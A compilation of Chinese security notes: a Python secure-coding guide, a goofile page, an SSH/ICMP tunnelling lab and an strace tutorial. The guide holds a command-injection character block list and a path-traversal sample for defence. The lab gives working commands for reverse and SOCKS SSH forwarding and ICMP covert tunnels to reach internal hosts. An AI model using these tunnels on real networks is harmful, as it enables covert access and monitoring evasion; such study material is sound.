player_id = Column(Integer, primary_key=True, autoincrement=True)
team_id = Column(Integer)
player_name = Column(String(255))
height = Column(Float(3, 2))
```
```python
# 增删改查
from sqlalchemy.orm import sessionmaker
# 创建 DBSession 类型:
DBSession = sessionmaker(bind=engine)
# 创建 session 对象:
session = DBSession()
# 增:
new_player = Player(team_id=101, player_name="Tom", height=1.98)
session.add(new_player)
# 删:
row = session.query(Player).filter(Player.player_name=="Tom").first()
session.delete(row)
# 改:
row = session.query(Player).filter(Player.player_name=="Tom").first()
row.height = 1.99
# 查:
rows = session.query(Player).filter(Player.height >= 1.88).all()
# 提交即保存到数据库:
session.commit()
# 关闭 session:
session.close()
```
#### 1.2.2 【必须】对参数进行过滤
- 将接受到的外部参数动态拼接到SQL语句时，必须对参数进行安全过滤。
```python
def sql_filter(sql, max_length=20):
dirty_stuff = ["\"", "\\", "/", "*", "'", "=", "-", "#", ";", "<", ">", "+",
"&", "$", "(", ")", "%", "@", ","]
for stuff in dirty_stuff:
sql = sql.replace(stuff, "x")
return sql[:max_length]
```
### 1.3 执行命令
#### 1.3.1 【建议】避免直接调用函数执行系统命令
- 相关功能的实现应避免直接调用系统命令（如`os.system()`、`os.popen()`、`subprocess.call()`等），优先使用其他同类操作进行代替，比如：通过文件系统API进行文件操作而非直接调用操作系统命令
- 如评估无法避免，执行命令应避免拼接外部数据，同时进行执行命令的白名单限制。
#### 1.3.2 【必须】过滤传入命令执行函数的字符
- 程序调用各类函数执行系统命令时，如果涉及的命令由外部传入，过滤传入命令执行函数的字符。
```python
import os
import sys
import shlex
domain = sys.argv[1]
# 替换可以用来注入命令的字符为空
badchars = "\n&;|'\"$()`-"
for char in badchars:
domain = domain.replace(char, " ")
result = os.system("nslookup " + shlex.quote(domain))
```
#### 1.3.3 【必须】禁止不安全的代码执行
* 禁止使用 `eval` 函数处理存在外部输入的数据。
### 1.4 文件操作
#### 1.4.1 【必须】文件类型限制
- 通过白名单对上传或者下载的文件类型、大小进行严格校验。仅允许业务所需文件类型上传，避免上传木马、WebShell等文件。
```python
import os
ALLOWED_EXTENSIONS = ['txt','jpg','png']
def allowed_file(filename):
if ('.' in filename and
'..' not in filename and
os.path.splitext(filename)[1].lower() in ALLOWED_EXTENSIONS):
return filename
return None
```
#### 1.4.2 【必须】禁止外部文件存储于可执行目录
- 禁止外部文件存储于WEB容器的可执行目录（appBase）。建议使用 [tempfile](https://docs.python.org/3/library/tempfile.html) 库处理临时文件和临时目录。
#### 1.4.3 【必须】避免路径穿越
- 保存在本地文件系统时，必须对路径进行合法校验，避免目录穿越漏洞
```python
import os
upload_dir = '/tmp/upload/' # 预期的上传目录
file_name = '../../etc/hosts' # 用户传入的文件名
absolute_path = os.path.join(upload_dir, file_name) # /tmp/upload/../../etc/hosts
normalized_path = os.path.normpath(absolute_path) # /etc/hosts
if not normalized_path.startswith(upload_dir): # 检查最终路径是否在预期的上传目录中
raise IOError()
```
#### 1.4.4 【必须】禁用XML外部实体的方法
* 禁用XML外部实体的方法，来预防XXE攻击。
```python
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
```
#### 1.4.5 【必须】禁用不安全的反序列化函数
* 禁用`yaml.unsafe_load()`函数反序列化YAML数据，来避免反序列化漏洞执行漏洞。
#### 1.4.6 【建议】避免路径拼接
- 文件目录避免外部参数拼接。保存文件目录建议后台写死并对文件名进行校验（字符类型、长度）。
#### 1.4.7 【建议】文件名hash化处理
- 建议文件保存时，将文件名替换为随机字符串。
```python
import uuid
def random_filename(filename):
ext = os.path.splitext(filename)[1]
new_filename = uuid.uuid4().hex + ext
return new_filename
```
### 1.5 网络请求
#### 1.5.1 【必须】限定访问网络资源地址范围
当程序需要从用户指定的`URL地址获取网页文本内容`、`加载指定地址的图片`、`进行下载`等操作时，需要对URL地址进行安全校验：
1. 只允许HTTP或HTTPS协议
2. 解析目标URL，获取其host
3. 解析host，获取host指向的IP地址转换成long型
4. 检查IP地址是否为内网IP
```python
# 以RFC定义的专有网络为例，如有自定义私有网段亦应加入禁止访问列表。
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.0/8
```
5. 请求URL
6. 如果有跳转，跳转后执行1，否则对URL发起请求
### 1.6 响应输出
#### 1.6.1 【必须】设置正确的HTTP响应包类型
响应包的HTTP头“Content-Type”必须正确配置响应包的类型，禁止非HTML类型的响应包设置为“text/html”。
#### 1.6.2 【必须】设置安全的HTTP响应头
* X-Content-Type-Options
添加“X-Content-Type-Options”响应头并将其值设置为“nosniff ”
* HttpOnly
控制用户登鉴权的Cookie字段 应当设置HttpOnly属性以防止被XSS漏洞/JavaScript操纵泄漏。
* X-Frame-Options
设置X-Frame-Options响应头，并根据需求合理设置其允许范围。该头用于指示浏览器禁止当前页面在frame、 iframe、embed等标签中展现。从而避免点击劫持问题。它有三个可选的值: DENY: 浏览器会拒绝当前页面加 载任何frame页面; SAMEORIGIN:则frame页面的地址只能为同源域名下的页面 ALLOW-FROM origin:可以定 义允许frame加载的页面地址。
#### 1.6.3 【必须】对外输出页面包含第三方数据时须进行编码处理
- 当响应“Content-Type”为“text/html”类型时，需要对响应体进行编码处理
```python
# 推荐使用mozilla维护的bleach库来进行过滤
import bleach
bleach.clean('an <script>evil()</script> example')
# u'an <script>evil()</script> example'
```
### 1.7 数据输出
#### 1.7.1 【必须】敏感数据加密存储
- 敏感数据应使用SHA2、RSA等算法进行加密存储
- 敏感数据应使用独立的存储层，并在访问层开启访问控制
- 包含敏感信息的临时文件或缓存一旦不再需要应立刻删除
#### 1.7.2 【必须】敏感信息必须由后台进行脱敏处理
- 敏感信息须再后台进行脱敏后返回，禁止接口返回敏感信息交由前端/客户端进行脱敏处理。
#### 1.7.3 【必须】高敏感信息禁止存储、展示
- 口令、密保答案、生理标识等鉴权信息禁止展示
- 非金融类业务，信用卡cvv码及日志禁止存储
#### 1.7.4 【必须】个人敏感信息脱敏展示
在满足业务需求的情况下，个人敏感信息需脱敏展示。
- 身份证只显示第一位和最后一位字符，如3****************1。
- 移动电话号码隐藏中间6位字符，如134******48。
- 工作地址/家庭地址最多显示到“区”一级。
- 银行卡号仅显示最后4位字符，如************8639
#### 1.7.5 【必须】隐藏后台地址
* 若程序对外提供了登录后台地址，应使用随机字符串隐藏地址。
```python
# 不要采取这种方式
admin_login_url = "xxxx/login"
```
```python
# 安全示例
admin_login_url = "xxxx/ranD0Str"
```
### 1.8 权限管理
#### 1.8.1 【必须】默认鉴权
- 除非资源完全可对外开放，否则系统默认进行身份认证（使用白名单的方式放开不需要认证的接口或页面）。
#### 1.8.2 【必须】授权遵循最小权限原则
- 程序默认用户应不具备任何操作权限。
#### 1.8.3 【必须】避免越权访问
- 对于非公共操作，应当校验当前访问账号进行操作权限（常见于CMS）和数据权限校验。
1. 验证当前用户的登录态；
2. 从可信结构中获取经过校验的当前请求账号的身份信息（如：session），禁止从用户请求参数或Cookie中获取外部传入不可信用户身份直接进行查询；
3. 校验当前用户是否具备该操作权限；
4. 校验当前用户是否具备所操作数据的权限；
5. 校验当前操作是否账户是否预期账户。
#### 1.8.4 【建议】及时清理不需要的权限
- 程序应定期清理非必需用户的权限。
### 1.9 异常处理
#### 1.9.1 【必须】不向对外错误提示
* 应合理使用`try/except/finally` 处理系统异常，避免出错信息输出到前端。
* 对外环境禁止开启debug模式，或将程序运行日志输出到前端。
#### 1.9.2 【必须】禁止异常抛出敏感信息
### 1.10 Flask安全
#### 1.10.1 【必须】生产环境关闭调试模式
#### 1.10.2 【建议】遵循Flask安全规范
- 参考Flask文档中的安全注意事项 https://flask.palletsprojects.com/en/latest/security/
### 1.11 Django安全
#### 1.11.1 【必须】生产环境关闭调试模式
#### 1.11.2 【建议】保持Django自带的安全特性开启
- 保持Django自带的安全特性开启 https://docs.djangoproject.com/en/3.0/topics/security/
- 在默认配置下，Django自带的安全特性对XSS、CSRF、SQL注入、点击劫持等类型漏洞可以起到较好防护效果。应尽量避免关闭这些安全特性。
|
sec-knowleage
|
---
title: goofile
categories: Information Gathering
tags: [information gathering,goofile,kali linux]
date: 2017-04-23 06:24:00
---
0x00 goofile介绍
-------------
视频介绍：[https://asciinema.org/a/31264][1]
使用此工具可以在给定的域中搜索特定的文件类型。
<!--more-->
[goofile主页][2] | [Kali goofile仓库][3]
- 作者：Thomas Richards
- 证书：MIT
0x01 goofile功能
----------------
golismero - Web应用程序映射器
```plain
root@kali:~# goofile
-------------------------------------
|Goofile v1.5 |
|Coded by Thomas (G13) Richards |
|www.g13net.com |
|code.google.com/p/goofile |
-------------------------------------
Goofile 1.5
用法: goofile [选项]
-d: 指定域名
-f: 指定文件类型 (扩展名如：pdf)
示例:./goofile.py -d test.com -f txt
```
0x02 goofile用法示例
-----------------
搜索域名(-d kali.org)中的PDF文件(-f pdf):
```shell
root@kali:~# goofile -d kali.org -f pdf
-------------------------------------
|Goofile v1.5 |
|Coded by Thomas (G13) Richards |
|www.g13net.com |
|code.google.com/p/goofile |
-------------------------------------
Searching in kali.org for pdf
========================================
Files found:
====================
docs.kali.org/pdf/kali-book-fr.pdf
docs.kali.org/pdf/kali-book-es.pdf
docs.kali.org/pdf/kali-book-id.pdf
docs.kali.org/pdf/kali-book-de.pdf
docs.kali.org/pdf/kali-book-it.pdf
docs.kali.org/pdf/kali-book-ar.pdf
docs.kali.org/pdf/kali-book-ja.pdf
docs.kali.org/pdf/kali-book-nl.pdf
docs.kali.org/pdf/kali-book-ru.pdf
docs.kali.org/pdf/kali-book-en.pdf
docs.kali.org/pdf/kali-book-pt-br.pdf
docs.kali.org/pdf/kali-book-zh-hans.pdf
docs.kali.org/pdf/kali-book-sw.pdf
docs.kali.org/pdf/articles/kali-linux-live-usb-install-en.pdf
====================
```
[1]: https://asciinema.org/a/31264
[2]: http://code.google.com/p/goofile/
[3]: http://git.kali.org/gitweb/?p=packages/goofile.git;a=summary
|
sec-knowleage
|
# 隧道实验
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
## 应用层
### WEB隧道
- [sensepost/reGeorg](https://github.com/sensepost/reGeorg)
- [L-codes/Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg)
### SSH隧道
**相关文章**
- [SSH端口转发（本地转发、远程转发、动态转发）](https://www.cnblogs.com/zangfans/p/8848279.html)
- [「端口转发」SSH 隧道](https://ai-sewell.me/2018/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91-SSH-%E9%9A%A7%E9%81%93/)
- [内网穿透-ssh转发技术](https://mp.weixin.qq.com/s/JgoHWE0Egfi_oSLoOEVwzg)
**语法参考**
```bash
ssh -L 8080:127.0.0.1:80 root@192.168.1.7 # 本地转发
ssh -R 8080:127.0.0.1:80 root@192.168.1.7 # 远程转发
ssh -D 1080 root@sshserver # 动态端口转发
```
**参数含义**
```
-C 压缩传输，增加传输的效率
-f 将 SSH 传输放在后台执行
-N 建立静默连接，就是建立了连接
-g 允许远程主机连接本地用于转发端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发
-P 指定 SSH 的端口
```
#### 本地端口转发
**测试实验**
将发送给本地的请求通过 ssh 隧道转发给目标端口，我们可以实现访问本地端口来访问目标端口的信息
```bash
ssh -CfNg 用户名@ssh机器IP -L 本地端口:目标主机:目标主机端口
```
```bash
ssh -fN root@192.168.141.129 -L 8080:127.0.0.1:22
```
此时访问转发机器的 8080 口，从而转发到目标机器的 22 端口
---
如下这个场景,我现在 host3 上起转发
```bash
ssh -fN root@192.168.81.128 -L 8080:0.0.0.0:22
```
这个时候 host3 访问自己的 127.0.0.1:8080 可以到 192.168.81.128
但是 host1 访问 192.168.141.129:8080 是不行的
需要 host2 监听 0.0.0.0
```bash
ssh -fN root@192.168.81.128 -L 0.0.0.0:8080:0.0.0.0:22
```
这样 host1 访问 192.168.141.129:8080 就可以到 192.168.81.128:22
#### 远程端口转发
**测试实验**
将远程主机端口的请求通过 ssh 隧道转发给本地主机的端口
```bash
ssh -CfNg user@ssh机器IP -R <远程ip>:<远程端口>:<目标ip>:<目标端口>
```
在 B 上
```
ssh -CfNg root@1.1.1.1 -R 0.0.0.0:8080:0.0.0.0:22
```
现在 A 访问 127.0.0.1:8080 就可以访问到 192.168.141.148:22 了
不过其他主机访问 A 的 8080 都是访问不了的,这种情况下 ssh 不支持 0.0.0.0 监听
#### 动态端口转发
**测试实验**
本地和远程转发只能一对一端口转发，想访问别的端口还需要重新设定转发，所以有了动态转发
动态端口转发是只绑定一个本地端口，目标地址端口不固定，而是根据我们的请求决定。其实在这里 SSH 就是创建了个 SOCKS 代理服务
```
ssh -CfNg 用户名@ssh机器IP -D <本地ip>:<本地端口>
```
在 host1 上
```
ssh -CfNg root@1.1.1.1 -D 127.0.0.1:1080
```
这时候 host1 主机的 1080 就是个 socks 代理，浏览器设置代理或设置全局代理后，就可以访问 host3、host4 内网主机了。
---
## 网络层
### ICMP
**相关文章**
- [ICMP隐蔽隧道从入门到精通](https://www.anquanke.com/post/id/152046)
- [内网穿透-ICMP协议](https://mp.weixin.qq.com/s/ZA6NlOg5SXggBLgk7ClUfA)
#### icmptunnel
**项目地址**
- [DhavalKapil/icmptunnel](https://github.com/DhavalKapil/icmptunnel)
**测试实验**
拓扑环境如下：
我这里就假设 vps 为 1.1.1.1 了
先配置环境,vps和内网机器上都安装上 icmptunnel,步骤是一样的
```bash
git clone https://github.com/DhavalKapil/icmptunnel.git
cd icmptunnel && make
```
然后在2台机器上都禁用 icmp
```bash
sysctl -w net.ipv4.icmp_echo_ignore_all=1
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
```
vps 作为主机,监听
```bash
./icmptunnel -s
ctrl-z
bg
```
这时候会创建一个 tun0 ,给他分配一个内网地址
```
ifconfig tun0 10.10.1.1 netmask 255.255.255.0
```
然后再内网机器上启动
```
./icmptunnel 1.1.1.1
ctrl-z
bg
```
同样的 tun0 ,给他分配一个内网地址
```
ifconfig tun0 10.10.1.2 netmask 255.255.255.0
```
这个时候可以在 vps 上测试
```
ssh root@10.10.1.2
```
速度会有点慢,如果没有出错就可以连接了
|
sec-knowleage
|
strace
===
跟踪系统调用和信号
## 补充说明
**strace命令** 是一个集诊断、调试、统计与一体的工具，我们可以使用strace对应用的系统调用和信号传递的跟踪结果来对应用进行分析，以达到解决问题或者是了解应用工作过程的目的。当然strace与专业的调试工具比如说gdb之类的是没法相比的，因为它不是一个专业的调试器。
strace的最简单的用法就是执行一个指定的命令，在指定的命令结束之后它也就退出了。在命令执行的过程中，strace会记录和解析命令进程的所有系统调用以及这个进程所接收到的所有的信号值。
### 语法
```shell
strace [ -dffhiqrtttTvxx ] [ -acolumn ] [ -eexpr ] ...
[ -ofile ] [-ppid ] ... [ -sstrsize ] [ -uusername ]
[ -Evar=val ] ... [ -Evar ]...
[command [ arg ... ] ]
strace -c [ -eexpr ] ... [ -Ooverhead ] [ -Ssortby ]
[ command [ arg... ] ]
```
### 选项
```shell
-c 统计每一系统调用的所执行的时间,次数和出错的次数等.
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
-h 输出简要的帮助信息.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于,,每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-tt 在输出中的每一行前加上时间信息,微秒级.
-ttt 微秒级输出,以秒了表示时间.
-T 显示每一调用所耗的时间.
-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
-V 输出strace的版本信息.
-x 以十六进制形式输出非标准字符串
-xx 所有字符串以十六进制形式输出.
-a column 设置返回值的输出位置.默认 为40.
-e expr 指定一个表达式,用来控制如何跟踪.格式：[qualifier=][!]value1[,value2]...
qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
-e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
-e trace=file 只跟踪有关文件操作的系统调用.
-e trace=process 只跟踪有关进程控制的系统调用.
-e trace=network 跟踪与网络有关的所有系统调用.
-e strace=signal 跟踪所有与系统信号有关的 系统调用
-e trace=ipc 跟踪所有与进程通讯有关的系统调用
-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
-e raw=set 将指定的系统调用的参数以十六进制显示.
-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
-e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
-e write=set 输出写入到指定文件中的数据.
-o filename 将strace的输出写入文件filename
-p pid 跟踪指定的进程pid.
-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username 以username的UID和GID执行被跟踪的命令
```
### 实例
**追踪系统调用**
现在我们做一个很简单的程序来演示strace的基本用法。这个程序的C语言代码如下：
```shell
# filename test.c
#include <stdio.h>
int main()
{
int a;
scanf("%d", &a);
printf("%09d\n", a);
return 0;
}
```
然后我们用`gcc -o test test.c`编译一下，得到一个可执行的文件test。然后用strace调用执行：
```shell
strace ./test
```
执行期间会要求你输入一个整数，我们输入99，最后得到如下的结果：
```shell
// 直接执行test的结果
oracle@orainst[orcl]:~ $./test
// 执行的结果
99
000000099
// 通过strace执行test的结果
oracle@orainst[orcl]:~ $strace ./test
// strace的trace结果
execve("./test", ["./test"], [/* 41 vars */]) = 0
uname({sys="Linux", node="orainst.desktop.mycompany.com", ...}) = 0
brk(0) = 0x8078000
fstat64(3, {st_mode=S_IFREG|0644, st_size=65900, ...}) = 0
old_mmap(NULL, 65900, PROT_READ, MAP_PRIVATE, 3, 0) = 0xbf5ef000
close(3) = 0
open("/lib/tls/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200X\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1571692, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ee000
old_mmap(NULL, 1275340, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0xa02000
old_mmap(0xb34000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x132000) = 0xb34000
old_mmap(0xb37000, 9676, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb37000
close(3) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xbf5ee740, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xbf5ef000, 65900) = 0
fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ff000
read(0, 99
"99\n", 1024) = 3
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5fe000
write(1, "000000099\n", 10000000099
) = 10
munmap(0xbf5fe000, 4096) = 0
exit_group(0) = ?
```
从trace结构可以看到，系统首先调用execve开始一个新的进行，接着进行些环境的初始化操作，最后停顿在”read(0,”上面，这也就是执行到了我们的scanf函数，等待我们输入数字呢，在输入完99之后，在调用write函数将格式化后的数值”000000099″输出到屏幕，最后调用exit_group退出进行，完成整个程序的执行过程。
**跟踪信号传递**
我们还是使用上面的那个test程序，来观察进程接收信号的情况。还是先`strace ./test`，等到等待输入的画面的时候不要输入任何东西，然后打开另外一个窗口，输入如下的命令
```shell
killall test
```
这时候就能看到我们的程序推出了，最后的trace结果如下：
```shell
oracle@orainst[orcl]:~
$strace ./test
execve("./test", ["./test"], [/* 41 vars */]) = 0
uname({sys="Linux", node="orainst.desktop.mycompany.com", ...}) = 0
brk(0) = 0x9ae2000
old_mmap(NULL, 65900, PROT_READ, MAP_PRIVATE, 3, 0) = 0xbf5ef000
close(3) = 0
open("/lib/tls/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\200X\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1571692, ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ee000
old_mmap(NULL, 1275340, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x2e9000
old_mmap(0x41b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED, 3, 0x132000) = 0x41b000
old_mmap(0x41e000, 9676, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x41e000
close(3) = 0
set_thread_area({entry_number:-1 -> 6, base_addr:0xbf5ee740, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
munmap(0xbf5ef000, 65900) = 0
fstat64(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5ff000
read(0, 0xbf5ff000, 1024) = ? ERESTARTSYS (To be restarted)
--- SIGTERM (Terminated) @ 0 (0) ---
+++ killed by SIGTERM +++
```
trace中很清楚的告诉你test进程”+++ killed by SIGTERM +++”。
**系统调用统计**
strace不光能追踪系统调用，通过使用参数-c，它还能将进程所有的系统调用做一个统计分析给你，下面就来看看strace的统计，这次我们执行带-c参数的strace：
strace -c ./test
最后能得到这样的trace结果：
```shell
oracle@orainst[orcl]:~
$strace -c ./test
```
```shell
execve("./test", ["./test"], [/* 41 vars */]) = 0
% time seconds usecs/call calls errors syscall
------ ----------- ----------- --------- --------- ----------------
45.90 0.000140 5 27 25 open
34.43 0.000105 4 24 21 stat64
7.54 0.000023 5 5 old_mmap
2.62 0.000008 8 1 munmap
1.97 0.000006 6 1 uname
1.97 0.000006 2 3 fstat64
1.64 0.000005 3 2 1 read
1.31 0.000004 2 2 close
0.98 0.000003 3 1 brk
0.98 0.000003 3 1 mmap2
0.66 0.000002 2 1 set_thread_area
------ ----------- ----------- --------- --------- ----------------
100.00 0.000305 68 47 total
```
这里很清楚的告诉你调用了那些系统函数，调用次数多少，消耗了多少时间等等这些信息，这个对我们分析一个程序来说是非常有用的。
### 常用参数说明
除了-c参数之外，strace还提供了其他有用的参数给我们，让我们能很方便的得到自己想要的信息，下面就对那些常用的参数一一做个介绍。
**重定向输出**
参数-o用在将strace的结果输出到文件中，如果不指定-o参数的话，默认的输出设备是STDERR，也就是说使用”-o filename”和” 2>filename”的结果是一样的。
```shell
# 这两个命令都是将strace结果输出到文件test.txt中
strace -c -o test.txt ./test
strace -c ./test 2>test.txt
```
**对系统调用进行计时**
strace可以使用参数-T将每个系统调用所花费的时间打印出来，每个调用的时间花销现在在调用行最右边的尖括号里面。
```shell
oracle@orainst[orcl]:~
$strace -T ./test
// 这里只摘录部分结果
read(0, 1
"1\n", 1024) = 2 <2.673455>
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 <0.000014>
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xbf5fe000 <0.000017>
write(1, "000000001\n", 10000000001
) = 10 <0.000016>
munmap(0xbf5fe000, 4096) = 0 <0.000020>
exit_group(0) = ?
```
**系统调用的时间**
这是一个很有用的功能，strace会将每次系统调用的发生时间记录下来，只要使用-t/tt/ttt三个参数就可以看到效果了，具体的例子可以自己去尝试。
参数名 | 输出样式 | 说明
--- | --- | ---
-t | 10:33:04 exit_group(0) | 输出结果精确到秒
-tt | 10:33:48.159682 exit_group(0) | 输出结果精确到微妙
-ttt | 1262169244.788478 exit_group(0) | 精确到微妙，而且时间表示为unix时间戳
**截断输出**
-s参数用于指定trace结果的每一行输出的字符串的长度，下面看看test程序中-s参数对结果有什么影响，现指定-s为20，然后在read的是是很我们输入一个超过20个字符的数字串
```shell
strace -s 20 ./test
read(0, 2222222222222222222222222 // 我们输入的2一共有25个
"22222222222222222222"..., 1024) = 26 // 而我们看到的结果中2只有20个
```
**trace一个现有的进程**
strace不光能自己初始化一个进程进行trace，还能追踪现有的进程，参数-p就是取这个作用的，用法也很简单，具体如下。
```shell
strace -p pid
```
### 综合例子
说了那么多的功能和参数，现在我们来一个实用点的，就是研究下Oracle的lgwr进程，看看这个进程是不是像文档所说的那样没3s钟写一次log文件，考虑到lgwr写日志的触发条件比较多，我们需要找一个空闲的Oracle实例做这个实验。
我们先要得到lgwr进程的pid，运行下面的命令
```shell
ps -ef|grep lgwr
oracle 5912 1 0 Nov12 ? 00:14:56 ora_lgwr_orcl
```
得到lgwr的pid是5912，现在启动strace，然后将trace的几个输出到lgwr.txt文件中，执行下面的命令
```shell
strace -tt -s 10 -o lgwr.txt -p 5912
```
过一会之后停止strace，然后查看结果。由于输出的结果比较多，为了方便我们只看Oracle写入log文件时用的pwrite函数的调用
```shell
grep pwrite\(20 lgwr.txt
```
等等，为什么grep的时候用的是”pwrite(2″呢？，因为我知道我这个机器打开的当前的log文件的句柄编号都是2开始的。具体查找方法是先使用下面的语句找出当前活动的日志文件都有哪些：
```shell
select member, v$log.status from v$log, v$logfile
where v$log.group#=v$logfile.group#;
```
得到
```shell
MEMBER STATUS
-------------------------------------------------- ----------------
/db/databases/orcl/redo-01-a/redo-t01-g03-m1.log INACTIVE
/db/databases/orcl/redo-03-a/redo-t01-g03-m2.log INACTIVE
/db/databases/orcl/redo-02-a/redo-t01-g02-m1.log CURRENT
/db/databases/orcl/redo-04-a/redo-t01-g02-m2.log CURRENT
/db/databases/orcl/redo-01-a/redo-t01-g01-m1.log INACTIVE
/db/databases/orcl/redo-03-a/redo-t01-g01-m2.log INACTIVE
/db/databases/orcl/redo-02-a/redo-t01-g04-m1.log INACTIVE
/db/databases/orcl/redo-04-a/redo-t01-g04-m2.log INACTIVE
```
然后到/proc中去找打开文件的句柄：
```shell
ll /proc/.5912/fd/
```
得到
```shell
lrwx------ 1 oracle dba 64 Dec 30 10:55 18 -> /db/databases/orcl/redo-01-a/redo-t01-g01-m1.log
lrwx------ 1 oracle dba 64 Dec 30 10:55 19 -> /db/databases/orcl/redo-03-a/redo-t01-g01-m2.log
lrwx------ 1 oracle dba 64 Dec 30 10:55 20 -> /db/databases/orcl/redo-02-a/redo-t01-g02-m1.log
lrwx------ 1 oracle dba 64 Dec 30 10:55 21 -> /db/databases/orcl/redo-04-a/redo-t01-g02-m2.log
lrwx------ 1 oracle dba 64 Dec 30 10:55 22 -> /db/databases/orcl/redo-01-a/redo-t01-g03-m1.log
lrwx------ 1 oracle dba 64 Dec 30 10:55 23 -> /db/databases/orcl/redo-03-a/redo-t01-g03-m2.log
lrwx------ 1 oracle dba 64 Dec 30 10:55 24 -> /db/databases/orcl/redo-02-a/redo-t01-g04-m1.log
lrwx------ 1 oracle dba 64 Dec 30 10:55 25 -> /db/databases/orcl/redo-04-a/redo-t01-g04-m2.log
```
现在能看到我机器当前日志文件的句柄分别是20和21。
现在我们得到如下结果
```shell
11:13:55.603245 pwrite(20, "\1\"\0\0J!"..., 1536, 4363264) = 1536
11:13:55.603569 pwrite(21, "\1\"\0\0J!"..., 1536, 4363264) = 1536
11:13:55.606888 pwrite(20, "\1\"\0\0M!"..., 1536, 4364800) = 1536
11:13:55.607172 pwrite(21, "\1\"\0\0M!"..., 1536, 4364800) = 1536
11:13:55.607934 pwrite(20, "\1\"\0\0P!"..., 1536, 4366336) = 1536
11:13:55.608199 pwrite(21, "\1\"\0\0P!"..., 1536, 4366336) = 1536
11:13:55.610260 pwrite(20, "\1\"\0\0S!"..., 1536, 4367872) = 1536
11:13:55.610530 pwrite(21, "\1\"\0\0S!"..., 1536, 4367872) = 1536
11:14:00.602446 pwrite(20, "\1\"\0\0V!"..., 1536, 4369408) = 1536
11:14:00.602750 pwrite(21, "\1\"\0\0V!"..., 1536, 4369408) = 1536
11:14:00.606386 pwrite(20, "\1\"\0\0Y!"..., 1536, 4370944) = 1536
11:14:00.606676 pwrite(21, "\1\"\0\0Y!"..., 1536, 4370944) = 1536
11:14:00.607900 pwrite(20, "\1\"\0\0\\"..., 1024, 4372480) = 1024
11:14:00.608161 pwrite(21, "\1\"\0\0\\"..., 1024, 4372480) = 1024
11:14:00.608816 pwrite(20, "\1\"\0\0^!"..., 1024, 4373504) = 1024
11:14:00.609071 pwrite(21, "\1\"\0\0^!"..., 1024, 4373504) = 1024
11:14:00.611142 pwrite(20, "\1\"\0\0`!"..., 1536, 4374528) = 1536
11:14:00.611454 pwrite(21, "\1\"\0\0`!"..., 1536, 4374528) = 1536
11:14:05.602804 pwrite(20, "\1\"\0\0c!"..., 1024, 4376064) = 1024
11:14:05.603119 pwrite(21, "\1\"\0\0c!"..., 1024, 4376064) = 1024
